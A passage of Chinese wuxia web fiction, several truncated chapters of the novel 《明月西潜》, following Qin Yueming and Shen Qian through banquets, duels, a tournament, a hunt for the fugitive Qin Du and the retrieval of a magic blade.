“人证物证俱全,秦笃是幕后黑手,这就是真相。你为何这般信任于他?”沈潜攥紧金河玉关,“他曾经想杀了你,一个想杀掉自己亲骨肉的人,有何可信之处?” “……那是因为他有疯病。” “身患疯病之人更不值得信任。” 秦月明想起秦笃犯病时的情形,沉默片刻,低声道:“沈家灭门后,他一夜白头,疯病愈发严重,若一切当真是他所筹划,他何必悲痛至此?” 沈潜不为所动。 “这其中一定存在误会,我希望你们能当面对质,弄清楚真正的真相。”秦月明眼神恳切。 “对质便对质,只要秦笃敢出现。” “……父亲已失踪五年有余,我会亲自去寻他,将他带到你面前。”秦月明顿了一下,道,“白马寨不可无主,我离开后,寨主之位便交给你了。” “失踪?我看是做了亏心事,躲起来了罢。”沈潜脸色阴郁,“万一你去给秦笃通风报信,让他藏得更深,我岂不是赔了夫人又折兵?” 不待秦月明反驳,他沉声道,“我不会让你离开的,你死了这条心,乖乖当这个寨主罢,待我取了秦笃性命,我们便正式成婚。” 说罢,他便扬长而去,徒留秦月明在原地目瞪口呆。 这人这十三年到底经历了什么,心性竟扭曲至此? · 越日,盐梅楼的洗尘宴如期举办,白马寨主寨与别院的流水席也很快铺开。 一些武林人士选择去蹭流水席,还有一些好奇心重的则守在盐梅楼周围,一个个地认赴宴之人: “陆弥陀到了,听说他在渝州死了个儿子?” “山上鹰苗艺,他不是跟金仆姑有些恩怨吗?” “云愁剑客居然也有请帖,那沈少寨主没有异议吗?” “鹰眼神捕也来了……” …… 一个个江湖上有名有姓的人物被迎进盐梅楼,在围观的人群中掀起一阵阵声浪。 · 秦月明早早便带着几位堂主到了盐梅楼,吩咐堂主们在楼下迎接宾客,自己去了楼上雅间。 店小二满生前来奉茶,看清秦月明今日打扮,不禁直了眼:“寨主今日真是、真是好看。” 秦月明险些被他蹩脚的称赞逗笑,道:“今日宴会是为庆贺,自然要穿得喜庆些。” 她以前因是“未亡人”身份,须着素服,如今沈潜还活着,再穿素便晦气了,遂命人赶制了些鲜亮的服饰,今日才送来。 莫说满生,几位堂主同样见惯了秦月明衣衫素淡的模样,见到她一身水红轻衫的样子,亦很是被惊艳了一场。 满生眼睛滴溜溜转了一圈,忍不住好奇道:“寨主,沈少寨主怎没和你一道来?” “他有事,过会儿就到。”秦月明道。 实际上是因昨日争执,秦月明有些怵沈潜,便自己先来了。 “还有,”她敲了敲桌面,“唤沈寨主,少寨主听着跟我差辈儿了。” “是。”满生连忙应道。 “去办两件事,切莫让第三人知晓……” · 秦月明到后不久,沈潜也赶了过来,径自进入秦月明所在雅间。 一进门,他便愣住了。 他不是没见过秦月明衣着明亮的样子,但那已是十多年前。 而秦月明本就是盛颜仙姿,只是之前都是素服打扮,冲淡了身上的秾艳,别有一番清雅风韵,眼下这般鲜亮服色,又显得她殊丽绝伦,容光慑人,令人见之忘神。 秦月明疑惑沈潜的沉默,抬头就见沈潜呆呆地杵在门口,直愣愣地盯着自己,跟没了魂儿一样。 片刻后,沈潜回神,目光游移,耳根泛红。 是曾经秦月明看过很多次的画面,在沈潜“死后”的十多年里,她将过往的回忆梳理了一遍又一 11. 何年劫火剩残灰 《明月西潜》全本免费阅读 枪出如龙,剑光霍霍,沈潜的铁枪与杜留晖的青锋剑交锋,乒乒乓乓地打出了盐梅楼大门。 外面看热闹的人轰然散开,给两人让开场地。 其余尚未离开的宾客不意能看见如此一幕,也跟着追了出来,三三两两挤作一团,一边观看这场对战一边窃窃私语。 秦月明收拾罢楼中残局追出来时,沈潜和杜留晖已打得更远了,只隐约看见两条辗转腾挪的人影。 两人身后,一大堆江湖人各展轻功跟随,如觅食的鸟群般起落不定。 秦月明觉得这场面莫名好笑,扶额无言片刻才一跃而起,赶上前去。 · 杜留晖越打越是心惊,当初沈潜名气正盛时,他在江南经营门派,并未与其照面,本忖度着自己天赋不差,又比他大了十来岁,武功定不输他,谁知才交手十来个回合便隐隐觉得不对。 眼下两人看似你来我往,势均力敌,实则是杜留晖被沈潜的攻势裹挟,不得已边打边走,改换场地。 秦月明落地后也看出了这点,眼眸微敛,以内力传音入沈潜之耳:“莫伤他性命……” 沈潜脸色一沉,攻势愈猛。 “……以防落人口实,打个半死,留点暗伤。” “噌!”“啊!” 沈潜一枪挑飞杜留晖的剑,灌注内力的枪身毫不留情地拍在他肩头,将人拍得筋损骨裂,控制不住地惨叫出声。 “去向明月磕头道歉。”沈潜枪尖一递,浅浅刺进杜留晖心口。 之前杜留晖在宴上吃了些酒,来告辞时嘴巴把不住门,又对着秦月明油腔滑调起来,言语间颇为冒犯。 这次秦月明还没来得及取弓箭,沈潜便提枪打了上去。 两人在楼里打了个天翻地覆,弄得一片狼藉,被秦月明出言赶了出来,一路打到这城外,终于分出了胜负。 杜留晖捂着受伤的肩膀,听到沈潜的要求,感受着四周的江湖人投到自己身上的目光,只觉五内俱焚,愤然道:“士可杀不可辱,你杀了我罢!” “沈寨主!”“沈少寨主!”“枪下留人!”见沈潜当真面露杀意,围观人群中传来几声疾呼。 还有几道碎石、飞镖之类的暗器袭向金河玉关,意图阻止沈潜的杀招。 沈潜周身内力鼓荡,轻描淡写地挡下诸多干扰,稍一用力,枪尖便深深刺入杜留晖胸膛,眼看就要刺破心脏。 电光石火之间,人群中骤然响起一道缥缈的铃声,众人皆是恍惚,一条纤细的人影不知从何处飞来,提起杜留晖便走。 秦月明最先恢复清醒,神情一凛,迅速挽弓搭箭对准已到天边的两个小点,却被沈潜拦下。 “手下败将,逃便逃了。” 秦月明被他虚握住手腕,只觉一股带着暖意的内力透体而入,抚下经脉中的微弱刺痛—— 她这两日奔波不歇,无暇修养,加之心情郁郁,之前走火入魔造成的内伤犹未痊愈,不好全力施展内力。 “可是那个救走杜留晖之人……”秦月明有些急躁。 上次在庄不周手里的祸心铃威力并未发挥完全,秦月明才能不受影响,但今天这个救走杜留晖的人用得却是炉火纯青,不可小觑,秦月明怀疑她便是那个……冒牌的长乐城城主之女。 此时围观的江湖人纷纷回神,一片哗然,几名素有声望的老江湖越众而出,神色讶然: “秦寨主,那便是祸心铃?” “此女是无忧门之人?似得了祸心术真传,只怕又是一条美人蛇!” “她与杜楼主是何关系,竟来救他?” …… 当初长乐城城主“美人蛇”陈花饶在江南西道搅弄风云,戕害正道,靠的便是一手几可迷神惑鬼的惑心术,后来长乐城被当今武林名宿“仙客”罗赞所破,陈花饶伏诛,惑心术失传,不料在无忧门中重现。 之前陈书灯三人讲述无忧门情报时,受秦月明所托,抹去无忧门门主乃陈花饶之女一节,只提了祸心铃之事,因此在场诸人并未将两者联系在一起,不过都推测无忧门中有长乐城余孽。 方才观战之时,诸位宾客与外边看热闹的江湖人士交换过讯息,除却一些隐秘,其他情报在场之人都已知晓。 “白牦教余孽、金缕宫余孽、长乐城余孽,这无忧门是什么收留破烂的地方么?五毒俱全。”又有刻薄些的江湖人道。 众人闻言纷纷笑起来,但大多数人眉宇间都有些愁绪。 无忧门在中原武林也算小有名气,不意竟是这些魔教余孽凑在一起,成了气候,只怕江湖中又要迎来劫波。 与众人不同,秦月明担忧的是另一件事。 长乐城——这个地方几乎是她八岁以后的心魔,虽然后来被沈家灭门盖过去了,如今重新冒出来,仍教她心惊胆战,不得安宁。 她虽笃定无忧门门主并非陈花饶之女,但却不敢肯定这门派与长乐城毫无干系。想起当时飞凤桥上那无忧门的“竹观音”见到自己时的震惊,她不由得提了心。 但眼下还有一群惶惶不安的江湖人士亟待安抚,秦月明先将心事放到一边,与几位老江湖力陈魔教势弱,无须担忧,勉强宽慰了众人。 不过经此一遭,这些人看热闹的心也淡了,三三两两地散去。 “这江湖总是不安生。” “能安生就不是江湖了。” · 两日后,娄山擂开擂。 此次娄山擂魁首奖励为前朝名剑“濯泉”并黄金百两,第二名可得黄金五十两,第三名黄金三十两。 人为财死鸟为食亡,当白马寨弟子捧着宝剑,抬着黄金从渝州城一路招摇到阳山擂台,江湖人士尽被晃花了眼,哪还想得起什么魔教,什么祸心术。 好些个声量大的白马寨弟子在各处宣读擂台规则:“今次娄山擂为闯擂制,从山脚小擂一路至山顶总擂……” 山脚原本给江湖人士解决私人恩怨的十个小擂台不再承办此类事务,交由参擂之人打擂之用,先比两日,胜场最多的五十人方有资格入阳山山林中寻找散落其中的擂主令,集齐五枚擂主令后可赶至山顶总擂,参与最后对决,擂主令可抢夺。 与擂者不可伤人性命,不可有意毁人武道,余者不限。 陈书灯三人在人群中听完规则,师山皱眉:“这个规则……里面门道很多啊。” “总擂秦寨主可是会亲自到场,还有其他 12. 明月不谙离恨苦 《明月西潜》全本免费阅读 假象如琉璃,一触即碎。 秦月明与沈潜,之前一人心怀侥幸,一人有意逃避,纵然有争执也是点到为止,留有余地,秦笃的出现却如一道雷霆,将看似平和的局面撕碎。 沈庄血案次日,沈潜在白马寨敬告沈氏先祖,继任寨主,与原寨主秦月明共掌白马寨。 白马寨的权力交接并未影响到如火如荼的娄山擂,待到三日后的总擂,观战台上只见沈潜身影,众人才隐约窥见这其中的风云变幻。 · 白马寨,沈庄东院书房。 沈潜摩挲着案上的长弓,此弓漆纹星月,艳丽精美,正是思君弓。 他神色冷漠,气势阴沉,压得前来禀报的白马寨弟子冷汗涔涔。 “……秦笃遁入铁山关便销声匿迹,杜留晖和那神秘女子之前在小宁州逃脱后也遍寻不见,秦、秦寨主行迹全无。” 说到最后一句,弟子喉头发紧,不由自主打了个磕巴。 虽然白马寨对外说原寨主秦月明因走火入魔内伤加重,在寨中闭关休养,实则只有寨中核心弟子才知晓,沈庄血案当晚,这位秦寨主便留书自陈与凶手秦笃有旧,无颜统领山寨,就此出走。 随后沈寨主继位,白马寨弟子迎来了水深火热的生活。 滔天内力汹涌而来,弟子熟练地跪下请罪:“寨主恕罪,秦寨主轻功绝世,杜留晖身边那女子又会祸心术,秦笃一节还似有飞耳阁插手,弟子们实在莫可奈何。” “无能。” · 渝州边界,太平镇。 长目飞耳,手眼通天,飞耳阁崛起于三十多年前,正如其名,做的是买卖消息的行当,据说无论多么隐秘的消息,他们都能探到。 曾有人在飞耳阁中买到前朝秘宝的消息,却不慎泄露,搅得江湖很是血雨腥风了一场,甚至改变了整个江湖的格局。 及至如今,飞耳阁已经是江湖上最大的情报组织,各处都设有分阁,用于收集、传递消息,贩卖情报。 有时也会帮助客人传播消息,譬如眼下: “铛铛铛!” 太平镇飞耳阁阁顶,一着飞耳阁守卫服饰的中年男子奋力敲锣,吸引众人注意后,高声道:“本届武林大会将于五月十九在许州举办,敬请各位英雄好汉、巾帼侠女赏脸光驾。” 两条街外,一家名为“仙客来”的客栈中,秦月明耳朵微动,听见风中传来的声音,怔愣片刻,便很快被楼下说书人的抑扬顿挫拉回了神。 “……说时迟那时快,只见王更明飞身而起,挥出一道掌风,轰向师山……” 客栈大堂,说书人唾沫横飞,将数日前的娄山擂最后一战娓娓道来。 听到最后竟是师山获胜,秦月明有些讶然,以她与两人的接触来看,分明是王更明功力要深厚些,不知这其中是否有什么隐情,会不会影响白马寨声誉…… 她思忖了一会儿,才恍惚回神,不由苦笑,自己已留书卸任,什么白马寨、娄山擂,都与自己无干了,在这瞎操心什么呢? 门外过道传来细碎的声响: “……白马寨……找人……” “……客人……南来北往……” “叩叩叩。”不一会儿,雅间门被叩响。 秦月明神色一凝,不动声色地坐直身体,压着嗓子道:“进。” 小二带着一佩刀衙役推开门,点头哈腰:“客人,叨扰了,官府搜捕通缉犯,例行检查,请拿出路引。” “嗯。”秦月明淡淡应了一声,提起桌边长刀起身,给出路引道,“正好,我用完饭了,结账罢。” “好嘞。”小二响亮道,又转向一边的衙役,“官爷,您看?” 他方才已看过三张画影图形,其中女子形貌与雅间客人没有并无半分相似,故敢放心应下。 衙役检查过秦月明的路引,又对比完画像,确认她并非人犯后将三张通缉令翻转过来,道:“看你也是江湖人,可曾见过这三名人犯?” 秦月明定睛看去,那三人正是秦笃、杜留晖,以及一名陌生女子。 女子的通缉令下方写着:无名氏,江湖高手,残害羌人商队,险起边衅…… 她本因见到秦笃通缉令心情复杂,看清女子的通缉罪名后更是皱紧了眉头,缓缓摇头道:“没见过。” “成。”衙役利落地收起通缉令,道,“那你记下他们的形貌,遇到后上报官府,有重赏。” 秦月明面上不动声色点头,脑中思绪万千,出了客栈后踟蹰片刻,飞向此处的飞耳阁打探消息。 “本次武林大会由招摇山庄筹办……” “武林大会后敝阁将公布新的江湖排行榜,还请女侠静候消息……” “……白马寨新寨主沈潜,江湖称号‘银鞍白马’,武功高强,乾纲独断,日前一人挑战多名西南高手,夺回沈家遗宝,再壮白马寨威势……” “……秦笃因造沈庄血案被白马寨联合官府重金通缉,现下已销声匿迹,不知躲到何处。杜留晖是因勾结魔教妖女……” “……羌族已被安抚,边陲安稳……” …… 秦月明撒出大笔钱财,买了一堆情报,走出飞耳阁大门,摸着干瘪的荷包才后知后觉自己如今已不是什么财大气粗的寨主,得精打细算些。 她数着荷包中薄薄几张金票和银票,有些发愁。 · 桃月时节,太阳已有些炽烈,秦月明在路边的破旧茶摊落脚,想要避一避日头。 “秦前辈?” 突如其来的呼唤唬了秦月明一跳,她不着痕迹地摸了摸脸上的易容,确认并无破绽后看向来人—— 竟是陈书灯三人。 唤秦月明的正是师山,此时他正被另两人瞪视,注意到秦月明的视线,三人有些赧然地看过来,表情讪讪。 看三人的表现,分明是真正认出了她。 秦月明犹豫片刻,决定承认身份:“你们是怎么认出我的?” 师山与王更明看向陈书灯,陈书灯眼神飘忽,小心翼翼道:“前辈你的容貌虽然有些改变,但姿态气韵毫无变化,只要熟悉前辈的人,几乎都能认出来。” “真的么?”秦月明有些挫败,“我还特地拿了把刀。” “咳,”陈书灯嘴角泄露出一丝笑意,“你拿刀的姿势也不太标准呢,像提弓。” “……罢了。”秦月明沉默片刻,拔出手中长刀看了看刃面,长叹一声还刀入鞘,道,“正巧 13. 柳暗花明又一村 《明月西潜》全本免费阅读 “赵大侠还未寻到适合的兵刃吧?”落笔之前,秦月明突然忆起一事,问道。 陈书灯点点头,眉心微蹙:“义父内力强横暴烈,试过许多宝刀都不成,只好先随意凑合。” 秦月明理解她的愁绪,为何自古以来,除宝藏外,就绝世武功秘籍和神兵利器最易引起江湖争斗? 自然是因这两样东西对江湖人来说至关重要,大多绝世秘籍还要讲究天赋,但许多神兵不管是否称手,都人人用得。 而一把合适的兵器能让人的实力更上一层楼,赵青山如今的实力显然是被兵器限制了。 不过,强横是真的,哪里称得上暴烈?秦月明回想起曾在渝州城州衙感受到的内力,有些疑惑,但并未多言,笔走龙蛇写就一纸书信,折了一折之后交给了陈书灯。 随后她另起了一个话头:“你们是准备回中原参与讨伐无忧门么?” “正是。”陈书灯神情愤然,“无忧门似是听到风声,已人去楼空,那些被他们捉去的人尸身已发现大半,惨不忍睹,更明听到这消息险些走火入魔。” 秦月明拧起眉头,沉吟片刻道:“如此丧尽天良之徒,人人得而诛之,无奈我另有要事,只能尽些绵薄之力。” 陈书灯眼睛一亮。 “明日寻个僻静地方,我将破祸心铃的音攻之术教给你们。” · 翌日,秦月明先带三人去了一趟城中商铺。 “我这门音攻之术需灌注内力入乐器施展,需选择坚固些的乐器。” 秦月明因原来的传讯铁笛已留在白马寨,便也挑了一支白玉长笛。而三人中陈书灯选了一支铁制短笛,王更明拿了一支骨笛,而师山……捧起了一面小鼓。 面对两个同伴不解又嫌弃的目光,他振振有词:“乐器大些声音才大,更能压过对面的铃铛声,大音希声*听过没?” “大音希声不是这么理解的,算了。”陈书灯扶额,转向秦月明,“秦前辈,你看他这行吗?” 秦月明看着三人取笑逗乐,眉眼微弯,笑意盈盈:“其实只要是能发出声音的物件都可以,用乐器是为了我们的耳朵着想。” 结完账后,几人在陈书灯的带领下来到城北山上的一座山庄。 山庄位于半山腰,面积广阔,在山庄大门处便可俯瞰从巴山城到中原的大道。 · “凡音者,产乎人心者也*……” 秦月明一字一句,将心法口诀掰开来,倾囊相授,三人天分尚可,很快便掌握了部分,但要完全学会还需要些时日。 习武最忌似会不会,秦月明本就欲在此地留上几日,也不着急,还安抚急躁的三人:“武林大会才是全面讨伐无忧门之时,你们现在回去也派不上什么大用场,不若安心学了我这门音攻之术,回去传与诸位同道,增加胜算。” 陈书灯与师山连连点头,王更明要矜持些,只略点了下头,不过也是眼神微亮。 如此教学相长,眨眼便过了三日。 这天,秦月明正听三人磕磕绊绊地吹奏,忽闻庄外有喧闹声传来。 三个学生还在与手中的乐器切磋,一无所觉,秦月明见状,并未打扰,悄然出了院子,飞身出庄。 待看清庄外景象,她顿时愣住了。 只见大道上,两名男子正在交战,刀光剑影,煞是激烈。 巧的是,两人都是秦月明认识的人。 持刀者冷酷俊秀,正是许久不见的荀风;用剑者俊朗无双,执一把青铜宝剑,正是炮制了沈庄血案的秦笃。 秦月明稍一踟蹰,眼看荀风落了下风,还是冲上前去,反手拔刀,刀锋一转,劈开两人,落在荀风身旁,看向对面的秦笃,神色复杂,似喜似悲,语气发颤:“……秦笃。” 她这几日并未易容,出庄得急,也忘了这茬,倒省了自报家门的步骤。 秦笃警惕地看着她,哑声道:“秦寨主,看在老夫曾助你登上寨主之位的份上,便放老夫一马,如何?” “秦笃?”秦月明面色一僵,收拢心神细看他的反应,口中道,“秦前辈此言差矣,我有思君弓在手,又有仙客前辈的扶持,你的助力不过是锦上添花,可有可无,哪值得我冒天下之大不韪放过你这个残忍凶徒?” “忘恩负义之辈!”秦笃喝道,出其不意地挥出一剑,反身往巴山城方向逃去。 他这一剑使出了十二成的功力,秦月明费了些力才消解,正要追去就觉喉头一甜,吐出一口鲜血。 她之前走火入魔,虽被开了药将养着,却留了些根子并未痊愈,平日运转起内力并无大碍,但无法支撑如方才这般需要动用大半内力的对决。 “寨主!”荀风见状,语气惊慌,“你、你没事罢?” “呵。”秦月明拄着长刀,眼神冰冷:“藏头露尾之徒。” 荀风正自不解,就见秦月明还刀入鞘,从怀中掏出面纱将脸一掩,飞身朝巴山城而去,赶紧跟上。 两人翻上城墙,却见城内一片混乱,再往前看去,遁入此间的秦笃正在仓皇逃窜。 秦月明看清追杀“秦笃”之人,神色一舒,兔起鹘落间便到了两人不远处,换手拔刀,撩出一道凛冽的刀光,正劈在“秦笃”逃跑的方向上。 “秦笃”狼狈躲过,追杀者却似是被秦月明这道刀光惊到,愣在原地,未来得及补上攻势。 “赵大侠?”秦月明的声音轻快而疑惑,“还请助秦某抓捕此獠,伤势不论,留张能说话的嘴即可,秦某必有重谢。” 赵青山深深看了她一眼,眼中掠过一抹思索,飞身几个起落,朝已经趁机逃出好一段距离的“秦笃”追去。 秦月明跟了几丈,便因经脉中的刺痛顿住脚步,转而落入一处偏僻小巷,盘膝而坐。 方才她本想着就算透支功力也要抓住这个“秦笃”,但眼下有赵青山在,她自可稍稍放心,也有了调息的空隙。 荀风紧跟着落下,持刀护法。 片刻后,秦月明收功起身,道:“走,我……” “咔嚓!”“轰!” 话未说完,两人便听远处传来巨响。 · 无论何处的飞耳阁,建筑都是一个样式,六角重檐攒尖顶的八层高楼,檐上惊鸟铃铭刻耳目图案,寓意眼观六路耳听八方,端的是庄严恢弘。 巴山城中的也 14. 美人赠我金错刀 《明月西潜》全本免费阅读 “是飞耳阁总阁的命令,让各处分阁襄助秦笃,城中飞耳阁地下有地道,直通城外,出口众多,此刻秦笃只怕已逃之夭夭了。” 荀风先禀报了秦月明最关心的问题,才再说起其他,“此外,他们还奉命在大巴山深处打造石窟,不知作何用处……” 另还有一些隐秘消息,如无忧门动向,那救走杜留晖的女子之身份,以及两人行踪等等。 ——都是紧要情报。 听闻“秦笃”逃走,秦月明神色一冷,一旁的赵青山也是眸光一利。 但眼下再去追已然来不及,秦月明只得咽下这口气,将心思转到后面的情报上,片刻后便有了决断。 · “呜呜呜嘶!” “呜——嘶!” “咚咚咚!” 秦月明与赵青山还未进山庄,便听得一阵嘈杂的乐声,呕哑嘲哳,不成章法。 赵青山顿住脚步,眉心狠皱:“谁在我庄中捣乱?” “咳。”秦月明之前被折磨过,心绪还算平和,“是陈少侠他们在练音攻之术。” 方才秦月明吩咐荀风将山羊胡子交给此处的白马亭后,便与赵青山一同赶来山庄,路上两人已交换过讯息。 赵青山自言之前在中原,是因收到她的信件,专程赶来。 秦月明也将自己教授陈书灯三人音攻之术的事情告诉了他。 说话间,两人到了山庄门口,守门的护卫也被庄内难听的乐声弄得面皮发皱,见到赵青山,愣了好一会儿才忙不迭地行礼:“大人。” 赵青山看都未看两人一眼,行步如风,跨进了山庄。 少倾,墙内的乐音戛然而止。 秦月明倒是走得不急不缓,一边思量着守卫对赵青山的称呼,一边穿花拂柳走到院外,就听赵青山呵斥的声音:“……这么多年的乐理,都学到狗肚子里去了么?” 以及陈书灯的分辩:“我们初学音攻之术,只专注于将内力灌注进乐声,那还顾得上什么音调乐律。” 秦月明悄无声息地进了院子,正见到赵青山的背影,谁知她才看一眼,此人便跟脑后长了眼睛似的回头看过来,同时也引来其他三人的注视。 “前辈!”陈书灯的声音中透出一股欢喜,仿佛看到救星一般。 另外两人也是眼睛发亮。 秦月明脚步一顿,微微抬眼对上赵青山冷沉的目光,眉眼一弯,为三人解释道:“三位少侠在音攻一道上颇有天分,仅三日便已学得差强人意,只是内力有些不足,才显得生涩,多练习即可。” “……练习。”赵青山揉了揉额角,脸色难看,果断地下了逐客令,“既然学得差不多了,便回中原去。” 他的嫌弃表露得过于明显,陈书灯三人面面相觑后,都有些垂眉耷眼。 “你们此去可是有重任在身。”秦月明神色柔和,将今日与飞耳阁的交锋娓娓道来,道,“飞耳阁明知无忧门踪迹却存心隐瞒,其中必有蹊跷,为防走漏风声,只能由你们将消息带回去。” 陈书灯柳眉一竖,面现怒色:“娄山擂结束后,我曾去渝州城的飞耳阁询问,他们说未曾探到无忧门行踪,结果竟是如此,我怀疑正是他们泄露了我们暗查无忧门的消息。” “极有可能。”秦月明嘱咐道,“所以你们此行或许会遇到阻挠,切记准备妥当再出发。” 几人又商讨了一番细节,直到金乌西坠才散,陈书灯离开时放缓了脚步,见王、师两人出了院门,看着赵青山期期艾艾:“义父,更明之前险些走火入魔,你能给他看看么?” 赵青山不耐挥手:“我看他好得很,你别瞎操心。” 陈书灯只好依依不舍地离开,院中只剩秦月明与赵青山。 秦月明抬眼,正对上赵青山幽幽的视线,莫名觉得不自在,摩挲着刀鞘,道:“那宝刀在大巴山深处,如今飞耳阁不知在其中作什么乱,以防夜长梦多,我们明日便出发去取刀。” 她从前因被人追杀闯入大巴山,发现了一个狭窄天坑,坑底铺垫着厚厚一层破兵烂铁,壁上却被凿出七个方格,各放着斧、剑、锏、拐、锤、棍、刀七种武器,俱是神兵。 秦月明之前给赵青山写信时其实并未想好如何报答其恩情,本欲许下一个要求,却突然想起这事。 那天坑中的刀正是横刀,重朴锋锐,正适合赵青山,她便在信中提起此节。 赵青山日夜兼程而来,似是对此刀分外看重,眼下却好像不甚着急,深深打量了秦月明一番,道:“深山艰险,凭你这副五劳七伤的样子,如何带路?还是先把伤养好罢。” 秦月明粲然一笑:“多谢大侠关怀,最多明日,秦某的伤便尽可好了。” 她之前的内伤是因心绪不平走火入魔而起,卸任寨主、离了渝州城心境便开阔了些,如今假“秦笃”的出现更让她觉得沈家灭门案中猫腻众多,沈潜所得极有可能并非真相,她心头虽仍压着些许阴霾,却不似之前心神震动,内伤也见好了。 次日,打坐调息了一|夜,终于沉疴尽去的秦月明打开房门,嗅着扑面而来的凉气,眉宇舒展。 “秦姑娘。” 一清秀婢女翩跹而来,呈上早食,待秦月明吃完稍歇,婢女又不知从何处端来一碗黑沉沉的药汁:“姑娘内伤初愈,大人特开了一副药方,用于给姑娘固本培元,滋补身体。” 秦月明神情一僵,双手仿佛托着什么重物般,缓慢抬起,捧起药碗,在婢女关切的目光中一咬牙,一饮而尽,随后努力舒展五官,看着婢女离开,终于撑不住苦起了脸。 秦月明客房对面的一棵高树上,一人将这一幕映入眼中,嘴角微勾,泻出一抹笑意。 有人?房中的秦月明察觉异样,抬眼看来,却只见枝叶无风而动,仿佛方才的视线只是她的错觉。 方才的婢女去而复返,禀报道:“姑娘,陈姑娘与两位公子将要启程。” 秦月明听着庄门处传来的马嘶之声,起身拿了长刀,道:“他们现在何处?” 陈书灯三人正在庄门处,俱是神采飞扬,一副气势高昂,随时上战场的样子。 赵青山提了一把新刀立在一旁,神色淡漠,似乎丝毫不担心自家义女的安危。 秦月明心头也并未有多少担忧,不提陈书灯的身份,只王更明与师山两人既然能在娄山擂中闯到最后,实力绝不可能弱,江湖经验 15. 北斗行中见一星 《明月西潜》全本免费阅读 “已死之人。”秦月明轻轻一笑,纵身跳下天坑,余音袅袅,“坑中奇险,赵大侠可要小心了。” 赵青山眉梢一扬,毫不犹豫随之跃下。 短暂的黑暗后,他的眼睛重新恢复视物能力—— 这天坑入口虽然狭小,内部却十分广阔,坑壁和坑底错落有致地生长着一些发光的花草菌菇,还散落着一些夜光石,将整个天坑映得朦胧飘渺,恍若梦境。 而坑底陈列着几十根粗壮的梅花桩,秦月明正站在最高的木桩上,抬眼望来,嘴角隐约带笑。 她今日穿了一身彩绣辉煌的绛红锦衣,在这不似人间之地中,恰似神妃仙子临凡,令人神为之夺。 赵青山险些忘了续气,听到秦月明的声音才猛然回神,提气跃到她旁边的梅花桩上。 “那便是宝刀所在。”秦月明素手一抬,指向其中一处光斑。 坑中光线昏暗,纵然她能夜间视物也做不到纤毫毕现,因此并未发现赵青山的不自在。 赵青山收拾心绪,循着秦月明指尖看去,神色中出现几许兴味,他之前已看出七个光斑的排列近似北斗七星,而秦月明所指正是天枢位。 天枢,贪狼星…… “有趣,我倒要看看这刀配不配得上这个位置。”他豁然一笑,飞掠而起,与秦月明擦身,踏着前方的几根梅花桩飞进了那道光斑里。 秦月明压下鬓边飞扬的青丝,看着他的身影消失在光斑处,眉心微拧,挽弓搭箭,定定对着光斑,最终还是没有将弦上羽箭放出,而是收起弓箭,举目细看。 光斑离坑底足有四五丈,兼之坑壁光滑,不易攀爬,故而她当初特地竖起这些梅花桩,才得以靠近。 那些光斑实则是一个个人高的洞窟,洞壁上镶嵌着一颗颗夜光石,光辉透出洞口,才形成他们所见的光斑。 赵青山进入天枢位的洞窟后,那道光斑黯了一霎,片刻后光亮恢复,想是人已进了洞窟深处。 之后再无其他动静。 秦月明垂眸,轻盈地循着一根根梅花桩跳下,由高到低,向坑底而去。 行至半途,天枢位洞窟中突地传出一道锐利的嗡鸣,撞在四周坑壁上,回声阵阵,更显出一种恢弘神圣,恍若龙吟。 她面露惊色,顿住脚步,抬眼看去,只见赵青山执刀冲出洞穴,身影在空中辗转腾挪,挥出一道道雪亮的刀光。 秦月明看出,这些刀光的威力一道比一道大,昭示着他正在飞速驯服手中宝刀。 是的,驯服。 许多江湖闻名的神兵都能人人得而用之,不过也需要在最合适的主人手中才能发挥最大的威力。 而还有一些神兵却比较“挑剔”,它们会自己选择主人,若落入旁人手中,只如锋利些的普通兵器,有些甚至可能会令不合适的主人走火入魔。 几十年前,好几位江湖有名的铸造大师联合研究,终于得出结论,此类特殊的神兵在铸造过程中可能添加了一些特殊矿物,变得只与某类内力契合,遇到不适合的内力便可能造成反噬。 但他们并未研究出这种特殊矿物究竟是什么。 当初秦月明发现此间的七件神兵后,便有心将它们都带走,却发现这些兵器竟都是需要“认主”的特殊神兵,只好打消了想法。 不提这七件神兵中除刀剑外都是冷门兵器,纵然她拿出去也是在仓库里落灰。 只说她的宝库不一定比此处安全,还不如将这些神兵继续留在此处保存,也不易走漏风声—— 天坑口附近其实已被她布上迷阵掩饰,若非她亲自带路,赵青山也不可能到得这样轻易。 赵青山还在试刀,一片片刀光闪得秦月明心潮澎湃,战意萌发,索性取弓搭箭,唰唰射过去两箭作打招呼之用,随后使力勾弦,内劲迸发,一支支无形的利箭向着对方横扫过去。 ——什么样的试刀之法能比得过与高手对决呢。 “铛!”“铛!”“铛!”…… 赵青山明了秦月明的意思,一刀斩断两支羽箭,横刀在掌中一旋,劈出一片水泼不进的刀气,让那些鬼魅的内力箭矢不得近身,最后一刀劈在最后一道内力上,借力腾空,瞬移般贴近秦月明,举刀劈来,身后残影若隐若现。 秦月明抬弓一格,内劲涌出,将他连人带刀掀出一丈多远,随后连发几矢,粲然笑道:“这便是‘飞白镜’?” 上次自沈潜身上见识过此轻功后,秦月明多方去信查过,最终从一位武林名宿信中得知,这是一门几近失传的轻功绝学,速度极快,动生残影,近乎瞬移,只是练成此轻功需极深厚的内力与强横的体魄,寻常人等修炼不过是自寻死路。 赵青山落在高处的梅花桩上,横刀劈砍,消解掉随之而来的箭矢,听到秦月明的问题,握刀的手紧了紧,面上坦然,道:“秦寨主真是见多识广。” “赵大侠谬赞了。”秦月明眉眼一弯,毫不迟疑地射出一片片内力箭矢,趁其防守之际,足尖一点,腾空而起,在半空停滞片刻,勾弦蓄力一放。 “铛!”“嘭!” 这是赵青山横刀格住此箭,却被澎湃的内力推下梅花桩,整个人砸到地面的声音。 “咔嚓。” 这是秦月明手中长弓断裂的声音。 木弓就是不如铁弓好用。秦月明看着四分五裂的长弓,暗“啧”一声,听地面半天没动静,有些疑惑。 “赵大侠?”她一跃而下。 坑底铺着一丛丛发光的草木菌菇、夜光石头,周围还有萤火小虫飞舞游走,一眼望去,仿佛人间河汉。 赵青山拖着刀斜倚在梅花桩上,沉默地垂着头,看不清表情。 秦月明踩着朦胧碎光走到他面前,再次唤道:“赵大侠?” 待到近处,秦月明才讶然发现,他嘴角勾起,眼眸微弯,竟是在笑。 察觉秦月明靠近,他抬头看过来,眼中隐约闪过一抹癫狂。 秦月明一惊,顿住脚步,有些戒备地细看,却见他神色毫无异样,直起身一拱手,语气真挚道:“秦寨主功力深厚,赵某佩服。” “赵大侠也不差。”秦月明嫣然一笑,视线投向他手中的刀,“还未恭喜大侠得此神兵,不知这刀可有名字了?” 